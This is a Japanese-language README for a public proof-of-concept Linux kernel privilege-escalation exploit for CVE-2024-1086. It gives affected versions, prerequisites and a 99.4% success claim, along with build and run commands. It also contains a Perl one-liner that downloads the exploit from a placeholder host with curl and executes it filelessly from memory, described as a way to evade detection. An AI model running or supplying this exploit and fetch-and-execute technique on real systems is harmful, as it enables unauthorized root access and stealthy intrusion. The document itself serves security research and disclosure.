
CVE-2024-1086 の汎用ローカル権限昇格 Proof-of-Concept エクスプロイト。v5.14 から v6.6 までのほとんどの Linux カーネルで動作し、Debian、Ubuntu、KernelCTF を含みます。KernelCTF イメージでの成功率は 99.4% です。
CVE-2024-1086 の汎用ローカル権限昇格 Proof-of-Concept エクスプロイトです。Debian、Ubuntu、KernelCTF を含む、v5.14 から v6.6 までのほとんどの Linux カーネルで動作します。KernelCTF イメージでの成功率は 99.4% です。
https://github.com/Notselwyn/CVE-2024-1086/assets/68616630/a3d43951-94ab-4c09-a14b-07b81f89b3de
このエクスプロイトの完全な解説(背景情報や役立つ図が多数含まれています)は、Flipping Pages ブログ記事 にあります。
このエクスプロイトは、v5.14(含む)から v6.6(含む)までのバージョンに影響します。ただし、パッチ適用済みブランチ v5.15.149>、v6.1.76>、v6.6.15> は除きます。これらのバージョン向けのパッチは 2024 年 2 月にリリースされました。根本的な脆弱性は、v3.15 から v6.8-rc1 までのすべてのバージョン(パッチ適用済みの安定版ブランチを除く)に影響します。
注意事項:
CONFIG_INIT_ON_ALLOC_DEFAULT_ON=y が設定された v6.4> カーネルでは動作しません(Ubuntu v6.5 を含みます)。CONFIG_USER_NS=y)、そのユーザー名前空間が非特権であること(sh コマンド sysctl kernel.unprivileged_userns_clone = 1)、および nf_tables が有効であること(kconfig CONFIG_NF_TABLES=y)を必要とします。デフォルトでは、これらはすべて Debian、Ubuntu、KernelCTF で有効です。他のディストリビューションはテストされていませんが、動作する可能性もあります。さらに、このエクスプロイトは x64/amd64 でのみテストされています。デフォルト値は、ローカルシェルを持つ Debian、Ubuntu、KernelCTF でそのまま動作するはずです。テストされていないセットアップ/ディストリビューションでは、kconfig の値が対象カーネルと一致していることを確認してください。これらは src/config.h で指定できます。32GiB を超える物理メモリを搭載したマシンでエクスプロイトを実行する場合は、CONFIG_PHYS_MEM を増やしてください。
SSH(テストマシンへの)またはリバースシェル経由でエクスプロイトを実行する場合は、不要なネットワークアクティビティを避けるために CONFIG_REDIRECT_LOG を 1 に切り替えるとよいでしょう。
これが現実的でない場合は、デフォルト設定のコンパイル済み x64 バイナリがあります。
git clone https://github.com/Notselwyn/CVE-2024-1086
cd CVE-2024-1086
make
バイナリ: CVE-2024-1086/exploit
エクスプロイトの実行も同様に簡単です:
./exploit
ファイルレス実行もサポートされています。検出を回避する必要があるペンテスト状況に備えています。ただし、ターゲットに Perl がインストールされている必要があります:
perl -e '
require qw/syscall.ph/;
my $fd = syscall(SYS_memfd_create(), $fn, 0);
system "curl https://example.com/exploit -s >&$fd";
exec {"/proc/$$/fd/$fd"} "memfd";
'
このソフトウェアディレクトリ/フォルダ/リポジトリ(「リポジトリ」)内のプログラムおよびスクリプト(「プログラム」)は、教育/研究目的でのみ公開、開発、配布されています。私(「作成者」)は、このリポジトリ内のプログラムの悪意のある使用または違法な使用を容認しません。その意図は研究を共有することであり、違法行為を行うことではないからです。私は、このリポジトリ内のプログラムを使用してあなたが行ういかなる行為についても法的責任を負いません。